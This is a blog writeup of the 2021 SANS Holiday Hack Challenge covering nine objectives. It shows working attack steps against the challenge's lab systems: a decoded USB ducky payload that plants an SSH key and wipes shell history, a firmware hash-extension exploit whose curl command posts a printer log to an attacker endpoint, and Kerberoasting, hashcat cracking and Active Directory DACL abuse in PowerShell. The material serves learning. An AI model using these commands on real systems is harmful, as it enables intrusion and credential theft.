好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

2021 SANS Holiday Hack Challenge writeup (English)

I participated the 2021 SANS Holiday Hack Challenge & KringleCon which held from middle December 2021 to 7th January 2021.

f:id:kusuwada:20220106223124p:plain

The prize term was over, but the challenge site is still working. So I recommend you to register and join this world if you haven't yet.
We can learn and have experienced many security categories from this game.

www.sans.org

Even you can play last year's game from below link.

The 2020 SANS Holiday Hack Challenge

And, here is my writeup of last year's Holiday Hack ;)

2020 SANS Holiday Hack Challenge writeup (English) - 好奇心の足跡

I usually write the writeups of CTF in Japanese, but this time, I wrote the report in English and submitted it to the SANS. I also write in Japanese, so if you prefer in Japanese, please check below.

tech.kusuwada.com

It was also something boring holidays this year because of rapid expansion of COVID in the UK, but thanks to this event, I had an exciting and meaningful time! I would like to express my sincere gratitude to everyone involved in planning and organizing this event, creating the challenges, and managing the site during the holidays.

f:id:kusuwada:20220106223557p:plain

I found and achieved

  • 13 Objectives
  • 30 achievements

f:id:kusuwada:20220106223925p:plain:w300

f:id:kusuwada:20220106223516j:plain

I think I found and achieve all of the challenges.
Now, let's start my report. Here are the contents.

Contents

Objectives

1) KringleCon Orientation

This Objective tells us how to poke around the KringleCon world, obtain the information, get and use items, and find & try the challenges.
Since this year was the second time to join the KringleCon for me, to tell the truth, I achieved this objective without knowing it. But I remember this kind of challenge is very helpful for a new-be.

2) Where in the World is Caramel Santaigo?

I found the terminal near Tangle Coalbox.

f:id:kusuwada:20220106223618p:plain:w400

I guessed this challenge is OSINT category, by the conversation with the elf and terminal message.
From the information offered by Investigate menu, I got the features of the target elf and the next place he went. Then, chosen and go to the next place with Depart by sleigh menu. After moving to some places, I had enough information to specify the target elf. Then, I searched the elf by Visit InterRink menu and got the name of the elf. We also got the information of next place like the name of area, latitude and longitude, tourist attractions.

The below information are the hints about the target elf. I found that every time we open the terminal, the contents are different.

  • The elf mentioned something about Stack Overflow and C#
  • Oh, I noticed they had a Star Trek themed phone case.
  • The elf got really heated about using spaces for indents.

I filtered the elf search system with above information, and only Sparkle Redberry was remained. So he(she?) is the answer.

3) Thaw Frost Tower's Entrance

I talked to Greasy Gopherguts. He talked about Wi-Fi scanning around the North Pole and identifying a Wi-Fi network.
I remembered that I picked up an item named Wifi Dongle. So, I hopped around the North Pole pole, and scanned using the command below, which the dongle told me.

$ iwlist scanning

Because this challenge is for thawing and opening Frost Tower's frozen door, I went to near the entrance and tried. Then, the reply was returned.

$ iwlist scanning
wlan0     Scan completed :
          Cell 01 - Address: 02:4A:46:68:69:21
                    Frequency:5.2 GHz (Channel 40)
                    Quality=48/70  Signal level=-62 dBm  
                    Encryption key:off
                    Bit Rates:400 Mb/s
                    ESSID:"FROST-Nidus-Setup"

Go throw the details.

$ iwconfig wlan0
wlan0     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=22 dBm   
          Retry:off   RTS thr:off   Fragment thr=7 B   
          Power Management:on

Then, tried to connect to this network.

$ iwconfig wlan0 essid FROST-Nidus-Setup
** New network connection to Nidus Thermostat detected! Visit http://nidus-setup:8080/ to complete setup
(The setup is compatible with the 'curl' utility)

Hooray! I got the connection. Let's connect to the site stated.

$ curl http://nidus-setup:8080/
◈──────────────────────────────────────────────────────────────────────────────◈

Nidus Thermostat Setup

◈──────────────────────────────────────────────────────────────────────────────◈

...(omit)...

API

The API for your Nidus Thermostat is located at http://nidus-setup:8080/apidoc

Check the API document.

$ curl http://nidus-setup:8080/apidoc
◈──────────────────────────────────────────────────────────────────────────────◈

Nidus Thermostat API

◈──────────────────────────────────────────────────────────────────────────────◈

The API endpoints are accessed via:

http://nidus-setup:8080/api/<endpoint>

Utilize a GET request to query information; for example, you can check the
temperatures set on your cooler with:

curl -XGET http://nidus-setup:8080/api/cooler

Utilize a POST request with a JSON payload to configuration information; for
example, you can change the temperature on your cooler using:

curl -XPOST -H 'Content-Type: application/json' \
  --data-binary '{"temperature": -40}' \
  http://nidus-setup:8080/api/cooler


● WARNING: DO NOT SET THE TEMPERATURE ABOVE 0! That might melt important furniture

Available endpoints

┌─────────────────────────────┬────────────────────────────────┐
│ Path                        │ Available without registering? │
├─────────────────────────────┼────────────────────────────────┤
│ /api/cooler                 │ Yes                            │
├─────────────────────────────┼────────────────────────────────┤
│ /api/hot-ice-tank           │ No                             │
├─────────────────────────────┼────────────────────────────────┤
│ /api/snow-shower            │ No                             │
├─────────────────────────────┼────────────────────────────────┤
│ /api/melted-ice-maker       │ No                             │
├─────────────────────────────┼────────────────────────────────┤
│ /api/frozen-cocoa-dispenser │ No                             │
├─────────────────────────────┼────────────────────────────────┤
│ /api/toilet-seat-cooler     │ No                             │
├─────────────────────────────┼────────────────────────────────┤
│ /api/server-room-warmer     │ No                             │
└─────────────────────────────┴────────────────────────────────┘

Cool... Let's remember the objective. We have to warm this room because it's too chilly even the entrance door is frozen. I'm not registered, so I can use only /api/cooler API. Oh, here is the nice sample. Let's try.
I'm not sure if this number is Celsius or Fahrenheit, but I've set the temperature to 0 (the allowed maximum).

$ curl -XPOST -H 'Content-Type: application/json' \
  --data-binary '{"temperature": 0}' \
  http://nidus-setup:8080/api/cooler

This command worked. The ice was melt and the door was opened.

4) Slot Machine Investigation

After visiting the specified site, such a slot game has begun.

f:id:kusuwada:20220106223633p:plain

With normally playing, I could gain some coins but not quite up to 1000.
I used BurpSuite and proxy to the connection, and checked the sent value.

betamount=1&numline=20&cpl=0.1

When I changed betamount to minus, it returned an error. So I changed cpl to minus (-100). Then, I found my credit is increased and response changed.

f:id:kusuwada:20220106223624p:plain

This response is the answer. I'm a beginner user of BurpSuite, but I found it's a very useful and required tool.

5) Strange USB Device

At this objective, we use Strange USB Device terminal which is at Speaker UNPreparation Room.

The question is,

What is the troll username involved with this attack?

and the terminal shows below message at the last.

Evaluate the USB data in /mnt/USBDEVICE.

I checked the situation and the terminal.

$ ls
mallard.py*
$ ls /mnt/USBDEVICE/
inject.bin
$ python mallard.py
usage: mallard.py [-h] [--file FILE] [--no_analyze] [--output_file OUTPUT_FILE]
                  [--analysis_file ANALYSIS_FILE] [--debug]

optional arguments:
  -h, --help            show this help message and exit
  --file FILE, -f FILE  The file to decode, default: inject.bin
  --no_analyze, -A      Include this switch to turn off analysis of the duckyfile
  --output_file OUTPUT_FILE, -o OUTPUT_FILE
                        File to save decoded ducky script to. Default will print
                        duckyfile to screen.
  --analysis_file ANALYSIS_FILE
                        Location to output analysis. Default will print analysis to
                        screen.
  --debug               Enable Debug Logging.

I see. This python script is for analyzing some kind of file, and the usage is --analysis_file <filename>. Let's execute.

$ cp /mnt/USBDEVICE/inject.bin .                                             
$ python mallard.py --analysis_file inject.bin                               
ENTER

...(omit)...

STRING echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc
ENTER
DELAY 200
STRING echo ==gCzlXZr9FZlpXay9Ga0VXYvg...(omit)...bVBSYzJXLoN3cnAyboNWZ | rev | base64 -d | bash
ENTER
DELAY 600
STRING history -c && rm .bash_history && exit
ENTER
DELAY 600
GUI q

quite long output, but my attention was drawn to the last reversed base64 part. Let's decode it.

$ echo ==gCzlXZr...(omit)... | rev | base64 -d
echo 'ssh-rsa Um...(omit)... ickymcgoop@trollfun.jackfrosttower.com' \
>> ~/.ssh/authorized_keys

I got it. The username is ickymcgoop.

6) Shellcode Primer

The following sites are available.

f:id:kusuwada:20220106223652p:plain

We can learn the basic shellcode technique here! Let's try the challenges step by step.

1. Introduction

Just execute the code already stated. After executing, we can see a step-by-step view of the stack as it runs like that. What a wonderful system for learning!

f:id:kusuwada:20220106223645p:plain

2. Loops

Also just execute. We can see how to state the loop code.

3. Getting Started

Just added ret at the last part. Code requires the ret code for returning.

4. Returning a Value

Fill the value to rax, and return.

mov rax, 1337
ret

5. System Calls

I Referred this site for system call number. sys_exit is num 60, so fill rax with 60.

rax
mov rax, 60
mov rdi, 99
syscall

6. Calling Into the Void

Just execute the prepared code, and check the debugger & result. This small challenge was useful to understand push behavior for me.

7. Getting RIP

We learn how to labeling and call the label.

; Remember, this call pushes the return address to the stack
call place_below_the_nop

; This is where the function *thinks* it is supposed to return
nop

; This is a 'label' - as far as the call knows, this is the start of a function
place_below_the_nop:

; Pop the top of the stack into rax
pop rax

; Return from our code, as in previous levels
ret

I'll use this technique for after small challenges.

8. Hello, World!

Return "Hello World" using the label learned above.

; This would be a good place for a call

call place_hello

; This is the literal string 'Hello World', null terminated, as code. Except
; it'll crash if it actually tries to run, so we'd better jump over it!

db 'Hello World',0

; This would be a good place for a label and a pop

place_hello:
pop rax

; This would be a good place for a re... oh wait, it's already here. Hooray!

ret

9. Hello, World!!

This time, we have to output "Hello World" to stdout. From the syscall table above, sys_write is no.1.

; TODO: Get a reference to this string into the correct register

call place_hello
db 'Hello World!',0
place_hello:

; Set up a call to sys_write
; TODO: Set rax to the correct syscall number for sys_write

mov rax, 1

; TODO: Set rdi to the first argument (the file descriptor, 1)

mov rdi, 1

; TODO: Set rsi to the second argument (buf - this is the "Hello World" string)

pop rsi

; TODO: Set rdx to the third argument (length of the string, in bytes)

mov rdx, 12

; Perform the syscall
syscall

; Return cleanly
ret

10. Opening a File

This challenge is for opening a file. Very similar to call No.9, but the syscall is not sys_write(1) but sys_open(2).
I omit the this code for report limitation :)

11. Reading a File

The final challenge. I have to open a file, and read it. But I don't know the size of the file.

I could assemble the outline with the knowledge of previous challenges and the comments on the code. The arguments of sys_read can be chosen from syscall table and challenge statement.

; TODO: Get a reference to this

call place_secret
db '/var/northpolesecrets.txt',0
place_secret:

; TODO: Call sys_open

mov rax, 2
pop rdi
mov rsi, 0
mov rdx, 0
syscall

; TODO: Call sys_read on the file handle and read it into rsp

mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 500
syscall

; TODO: Call sys_write to write the contents from rsp to stdout (1)

mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 500
syscall

; TODO: Call sys_exit

mov rax, 60
mov rdi, 0
syscall

I set a suitable value with sufficient length (500). After I solved this challenge, I checked the cheat site and found that I can get the length from

mov rdx, rax

from sys_read output.
The last callenge's output(stdout) is,

Secret to KringleCon success: all of our speakers and organizers, providing the gift of cyber security knowledge, free to the community.

This is the answer of this objective.

7) Printer Exploitation

I touched and investigated the printer which on the Jack's office's desk.

f:id:kusuwada:20220106223659p:plain:w400

The hints from Ruby Cyster are below.

  • Look the firmware first
  • The last one is processed when we append multiple files of "that" type
  • Hash Extension Attack
  • The error message is important
  • We access to shell at last

Then, let's check up the Firmware update page.

f:id:kusuwada:20220106223705p:plain:w400

I poked around this page, and found that I have to upload some file in JSON format. Looking more carefully, I found the link in the bottom says "Download current firmware". I guess that I should change this file and exploit it by firmware update function.

I got the current firmware file named firmware-export.json. The value of firmware is encoded by base64, and signature is "SHA256".
At first, I decoded the firmware, and find the file format.

$ echo "(...omit...)FBgAAAAABAAEAUgAAALAJAAAAAA==" | base64 -D > firmware
$ file firmware
firmware: Zip archive data, at least v2.0 to extract

It was zip file. Let's unzip it.

$ unzip firmware
Archive:  firmware
  inflating: firmware.bin
$ file firmware.bin
firmware.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fc77960dcdd5219c01440f1043b35a0ef0cce3e2, not stripped

The ELF file. I tried to calculate the hash of this firmware or zip file and check them whether match to the current file's one, but all hashes were unmatched. I re-checked the everything I had again, and configure that the signature hash was generated from <16 digit secret><original binary> It makes sense. The next hint Hash Extension Attack can be used under this situation.

I checked the Hash length Extension Attack which introduced in the hint.
What I want to do is, obtain the hash of <secret><original_data><attack_payload> based from the hash of <secret><original_data> data and original_data. The <secret> is unknown, and hash algorithm is SHA256.

In the site above, I found the summary

TL;DR: given a hash that is composed of a string with an unknown prefix, an attacker can append to the string and produce a new hash that still has the unknown prefix.

Wow, it is just my situation! I can use this. In this site, the below tool is introduced.

Hash Extender by Ron Bowes ron@skullsecurity.net

Let's install and use it.

$ git clone https://github.com/iagox86/hash_extender.git
$ cd hash_extender
$ make
[CC] hash_extender.o
...(omit)...
[LD] hash_extender_test
$ ./hash_extender --filie ../firmware.bin --secret 16 --append append --signature e0b5855c6dd61ceb1e0a...(omit)...

Tried with some arguments, a hash was generated. The environment is ready.

When I created a malicious executable file for attack and uploaded it, the error says that the bin should be the same name as firmware.bin. I found the file name should be it.

I want to read the file /var/spool/printer.log on the printer finally. I thought I could use the shellcode which we learned at previous challenge, but at first, I tried the normal curl command.

curl -X POST [https://MY_ENDPOINT] --data-binary @/var/spool/printer.log

This is the command which I wrote to my malicious firmware.bin. If the printer execute this command, it will send the target file to MY_ENDPOINT .

Let's zip this script, and calculate new hash with hash_extender. I outputted the zip as hex once, and input the hex to the tool.

$ zip -r firmware.zip firmware.bin
$ xxd -p firmware.zip | tr -d '\n'
504b030414000000080008bb8f53(...omitted...)
$ ./hash_extender/hash_extender --file original_firmware.zip --secret 16 \
  --signature e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23 \
  --format sha256 --append-format=hex --append "504b030414000(...omitted...)"

I set the signature to firmware_exploit.json's signature, and base64 encode the malicious zip, and set it to firmware value.
Then, uploaded the file and waited. After a while, an access came to my prepared endpoint.

Documents queued for printing
=============================

Biggering.pdf
Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf
LowEarthOrbitFreqUsage.txt
Best Winter Songs Ever List.doc
Win People and Influence Friends.pdf
Q4 Game Floor Earnings.xlsx
Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml
Troll_Pay_Chart.xlsx

The last file name of excel is the answer.
After solving this, I thought I could use the endpoint /app/lib/public/incoming in the hint ;)

8) Kerberoasting on an Open Fire

This challenge was, the most hard one for me. I got 6 hints from Eve Snowshoes, and I guessed this challenge is related AD hacking, Kerberos certification, and hash cracking. Especially AD hacking and Kerberos system, it was completely new for me. In addition, I'm not used to windows system nor PowerShell. So I learned from this challenge a lot of new things, and it took a lot of time.

At first, I went to the site from the challenge statement. I found the register site and registered with rubbish information.

f:id:kusuwada:20220106223729p:plain:w250 f:id:kusuwada:20220106223720p:plain:w250

Then, got the username and password for connect to grades.elfu.org:2222. This credential will expired about 24 hours or the server reseted regularly. Even the credential expired, we can generate another one and use it.

Fast forward, I connected to the server and see an application works.

f:id:kusuwada:20220106223725p:plain:w400

We can see the courses and grades which I guess Elf University provides, and that's all.
I exited this program with menu e, and the also connection has closed. Then, I tried to exit this application with Ctrl + C or Ctrl + Z, and the application said "You may only type 'exit' to leave the exam!".
Now, the first challenge seems to be exit this application and get the control of this terminal.

I tried many shortcuts and googled. Then I got python interpreter with Ctrl + D key. It seems useful. Let's try some commands.

>>> os.getcwd()
'/home/{username}'

Then, let's try to start shell.

>>> os.system('/bin/sh')
$
$ ls
core
$ pwd
/home/{username}

Yes, I can use it.
I was not sure what should I do next, so I poked around, and read the hints. Then, I guessed this challenge is for AD something, and I should find the Domain Controller first.

Then, I got my routing table with the Finding Domain Controllers hint.

$ ip route
default via 172.17.0.1 dev eth0
10.128.1.0/24 via 172.17.0.1 dev eth0
10.128.2.0/24 via 172.17.0.1 dev eth0
10.128.3.0/24 via 172.17.0.1 dev eth0
172.17.0.0/16 dev eth0 proto kernel scope link src 172.17.0.2

As the hint says, I paid attention to 10.x.x.x and did nmap with option in the hint.

$ nmap -PS22,445 10.128.1.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-31 08:37 UTC
...(omit)...

Nmap scan report for hhc21-windows-dc.c.holidayhack2021.internal (10.128.1.53)
Host is up (0.00045s latency).
Not shown: 988 filtered ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

I found this machine, which has the function for DC. I want to connect this machine, but there is no open port for ssh. While watching this port list, I noticed the port 135/tcp open msrpc which is unfamiliar for me. After some googling, I found the site states about this port.

135, 593 - Pentesting MSRPC

Microsoft Remote Procedure Call, also known as a function call or a subroutine call, is a protocol that uses the client-server model in order to allow one program to request service from a program on another computer without having to understand the details of that computer's network.

Wow, it seems usable. And more, googling about msrpc and linux, I found the word samba. When I had poked around this machine, I found the samba module. I also found the tool rpcclient which seems also usable.

I refered here and connected to the DC server.

$ rpcclient 10.128.1.53
Enter WORKGROUP\{username}'s password:
rpcclient $>

Connected! Now, I can get the list of Domain Users, Groups, SIDs, RIDs, and permissions. Here is the partial list of useful information.

User List

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[admin] rid:[0x3e8]
user:[elfu_admin] rid:[0x450]
user:[elfu_svc] rid:[0x451]
user:[remote_elf] rid:[0x452]
user:[ulyssesross] rid:[0x455]
user:[bobolson] rid:[0x457]
user:[raulpenrod] rid:[0x459]
...
user:[test] rid:[0x60f]
user:[qcljgnpsjl] rid:[0x610]
...

We can found the prepared users, users for shares, and dynamically created users.

Group List

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44f]
group:[RemoteManagementDomainUsers] rid:[0x453]
group:[ResearchDepartment] rid:[0x454]
group:[File Shares] rid:[0x5e7]

I searched the share which can access. I used the samba for this. (rpcclient also can be used.) I refered here to use samba commands.

$ smbclient -L 10.128.3.30
Enter WORKGROUP\{username} password:

    Sharename       Type      Comment
    ---------       ----      -------
    netlogon        Disk      
    sysvol          Disk      
    elfu_svc_shr    Disk      elfu_svc_shr
    research_dep    Disk      research_dep
    IPC$            IPC       IPC Service (Samba 4.3.11-Ubuntu)

This IP address was obtained by nmap. The commented shares are suspicious...

Then, I watched the talk movie more carefully again. He executed the GetUserSPNs script and obtained the Password hash of Kerberos, and use hashcat to crack it. From other hints, this seems the correct route.

I couldn't find the way to get the script into this terminal, but found the target script in the machine.

$ find . -name GetUserSPNs.py  2>&1 | grep -v "Permission denied"
./usr/local/bin/GetUserSPNs.py

And, I had to know the domain name of LDAP, so I searched it with nmap.

Nmap scan report for 10.128.3.30
Host is up (0.0012s latency).

PORT    STATE SERVICE VERSION
389/tcp open  ldap    Microsoft Windows Active Directory LDAP \
  (Domain: elfu.local, Site: Default-First-Site-Name)
| ldap-rootdse:
| LDAP Results
...

Ok, I found it. It's elf.local. Let's try GetUserSPNs. I used the same options as the movie.

$ python3 /usr/local/bin/GetUserSPNs.py -outputfile spns.txt \
  -dc-ip 10.128.1.53 elfu.local/{username}:'{password}!' -request
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

ServicePrincipalName                 Name      MemberOf  PasswordLastSet             LastLogon                   Delegation
-----------------------------------  --------  --------  --------------------------  --------------------------  ----------
ldap/elfu_svc/elfu                   elfu_svc            2021-10-29 19:25:04.305279  2021-12-31 12:03:28.706361             
ldap/elfu_svc/elfu.local             elfu_svc            2021-10-29 19:25:04.305279  2021-12-31 12:03:28.706361             
ldap/elfu_svc.elfu.local/elfu        elfu_svc            2021-10-29 19:25:04.305279  2021-12-31 12:03:28.706361             
ldap/elfu_svc.elfu.local/elfu.local  elfu_svc            2021-10-29 19:25:04.305279  2021-12-31 12:03:28.706361  

It seems work! I got the elfu_svc user's password hash.

$ cat spns.txt
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$5e4faad2759ffefe6f9...

I copied this value to my machine.
Before cracking this hash with hashcat, I have to pay attention to another hints. By the hints, I have to

  • Specify OneRuleToRuleThemAll.rule as a rule file
  • Generate the password dictionaly with CeWL
  • When I use CeWL, I should better to use option to include digits

Then, I generated the word list with CeWL. I use the /register site because this was the only site we given.

$ git clone https://github.com/digininja/CeWL.git
$ cd CeWL
$ ./cewl.rb https://register.elfu.org/register --with-numbers > ../cewl.txt

Then, I got the wordlist. The option to include digits was --with-numbers.
Now, try hashcat.

$ git clone https://github.com/NotSoSecure/password_cracking_rules.git
$ hashcat -m 13100 -a 0 spns.txt --potfile-disable \
-r password_cracking_rules/OneRuleToRuleThemAll.rule \
--force -O -w 4 --opencl-device-types 1,2 cewl.txt -o cracked.txt
hashcat (v6.1.1) starting...

...(omit)...

$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$5e4faad2759ffe
...(omit)...
4d20544644dd4b4717f981be3518:Snow2021!

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, TGS-REP
Hash.Target......: $krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_sv...be3518
Time.Started.....: Fri Dec 31 10:57:33 2021, (5 secs)
Time.Estimated...: Fri Dec 31 10:57:38 2021, (0 secs)
Guess.Base.......: File (cewl.log)
Guess.Mod........: Rules (password_cracking_rules/OneRuleToRuleThemAll.rule)
...(omit)...

Cracked!!! Then, I got the user elfu_svc and password Snow2021!.
I saw this username in the userlist, and similar share name. Let's access to the share with this account.

$ smbclient -U 'elfu_svc' \\\\10.128.3.30\\elfu_svc_shr
smb: \> ls
...(omit)
smb: \> get  GetProcessInfo.ps1
getting file \GetProcessInfo.ps1 of size 699 as GetProcessInfo.ps1 (682.6 KiloBytes/sec) (average 682.6 KiloBytes/sec)

With ls command, I found many PowerShell scripts in the directory. I watched the talk movie again, and found the same name script GetProcessInfo.ps1 which is used in the talk. The script was,

$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
...(ommit)

Oh, here is the credential of remote_elf! Then, I added below script to make remote session with reference to hint site's code, and named it remote_session.ps1

Enter-PSSession -ComputerName 10.128.1.53 -Credential $aCred -Authentication Negotiate

Let's execute this scirpt!

$ pwsh
PS /home/{username}}> ./remote_session.ps1
[10.128.1.53]: PS C:\Users\remote_elf\Documents>

Hooray! Connected! I expected to see the another share which couldn't see with elfu_evc account with this remote_efl account, but I couldn't.

I counfirmed the share names, groups, users again. And guessed ResearchDepartment group member may have the access permission for research_dep share. In this group, the test user and other some dynamically generated users were. It's suspicious...

I fetched the information of this group.

[10.128.1.53]: PS C:\Users\remote_elf\Documents> Get-ADGroup ResearchDepartment
DistinguishedName : CN=Research Department,CN=Users,DC=elfu,DC=local
GroupCategory     : Security
GroupScope        : Global
Name              : Research Department
ObjectClass       : group
ObjectGUID        : 8dd5ece3-bdc8-4d02-9356-df01fb0e5f3d
SamAccountName    : ResearchDepartment
SID               : S-1-5-21-2037236562-2033616742-1485113978-1108

Now, I got the CN of this group.
Then, as the talk movie, let's fetch the detail of this group information.

$ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])

Below is the partiall response.

ActiveDirectoryRights : WriteDacl
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\remote_elf
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

Wow, remote_elf has the rights WriteDacl for this research department group! Wonderful!
Then, with reference to next chrisd's script, grant "GenericAll" permission to my user by remote_elf.

Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "{username}"
$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
$propGUID = [guid]'00000000-0000-0000-0000-000000000000'
$IdentityReference = (New-Object System.Security.Principal.NTAccount("elfu.local\$username")).Translate([System.Security.Principal.SecurityIdentifier])
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, `
  ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"),  `
  ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$secOptions = $domainDirEntry.get_Options()
$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
$domainDirEntry.RefreshCache()
$domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()

I checked the Research Department group after a while,

$ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])

...(omit)

ActiveDirectoryRights : GenericAll
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\{username}
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

"GenericAll" right was granted to my user! Don't forget to join me to this group. With reference to the next chrisd's script, I joined my user to Research Department group by remote_elf.

Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "{username}"
$password = "{password}"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
$user = New-Object System.Security.Principal.NTAccount("elfu.local\$username")
$sid=$user.Translate([System.Security.Principal.SecurityIdentifier])
$b=New-Object byte[] $sid.BinaryLength
$sid.GetBinaryForm($b,0)
$hexSID=[BitConverter]::ToString($b).Replace('-','')
$domainDirEntry.Add("LDAP://<SID=$hexSID>")
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()

After a while, I fetched the group information by rpcclient.

$ rpcclient 10.128.1.53
Enter WORKGROUP\{username} password:
rpcclient $> querygroupmem 0x454  // Research Department
    rid:[0x60f] attr:[0x7]
    rid:[0x610] attr:[0x7]
    rid:[0x613] attr:[0x7]
    rid:[0x618] attr:[0x7]
    rid:[0x61b] attr:[0x7]
    rid:[0x61e] attr:[0x7]  -> it was me!

My account was added to the group!
Then, let's access to the share research_dep.

$ smbclient -U '{username}' \\\\172.17.0.3\\research_dep
Enter WORKGROUP\{username}'s password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Dec  2 16:39:42 2021
  ..                                  D        0  Fri Dec 31 08:01:26 2021
  SantaSecretToAWonderfulHolidaySeason.pdf      N   173932  Thu Dec  2 16:38:26 2021

        41089256 blocks of size 1024. 33388056 blocks available
smb: \> get SantaSecretToAWonderfulHolidaySeason.pdf
getting file \SantaSecretToAWonderfulHolidaySeason.pdf of size 173932 as SantaSecretToAWonderfulHolidaySeason.pdf
 (56616.6 KiloBytes/sec) (average 56618.5 KiloBytes/sec)

I found the suspicious PDF file. I couldn't see this file on the machine because I had no GUI, and couldn't find the scp way properly, I encoded this file in base64 and copy the strings to my machine.

$ cat SantaSecretToAWonderfulHolidaySeason.pdf | base64  
JVBERi0xLjMKJcTl8uXrp/Og0MTGCjMgMCBvYmoKPDwgL0ZpbHRlciAvRmxhdGVEZWNvZGUgL0xl
bmd0aCA0OTc5ID4+CnN0cmVhbQp4AbWc23LkyHGG7/EUsGd2SO5MNxvHblhryZZ2tZJ8Y0cwQhem
LhwTK8uOGcu7Y7+/v78yARSqwCXQpGMi2NOFQlYe/jxUotA/lv9S/lje/+ZLVX78Up7Cvy8fGTod
...(omit)

And decoded it on my machine. Finally, I got such PDF file!!!

f:id:kusuwada:20220106223712p:plain:w400

Reading this PDF and challenge statement, the answer was the word of top of the list.

As I said at the beginning of this challenge, I was completely a beginner of AD hacking or Powershell. But thanks to the plenty of hints, detail explanatory talk video, and reference scripts, I managed to achieve this challenge!

9) Splunk!

We have some small challenges. With completing the last challenge, we get the answer for the Objective.
There are some useful queries link at this page.

f:id:kusuwada:20220106223824p:plain

We can learn how to write the query in splunk, or how to use the GUI of the splunk. This time, I found how useful the GUI is!

Task 1

The initial query was

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational

I add the query below and clicked CommandLine with left menu. Then it shows the command after in order of frequency.

| search "git "

f:id:kusuwada:20220106223754p:plain

Then, answer is git status which has the top frequency.

Task 2

I searched with below query.

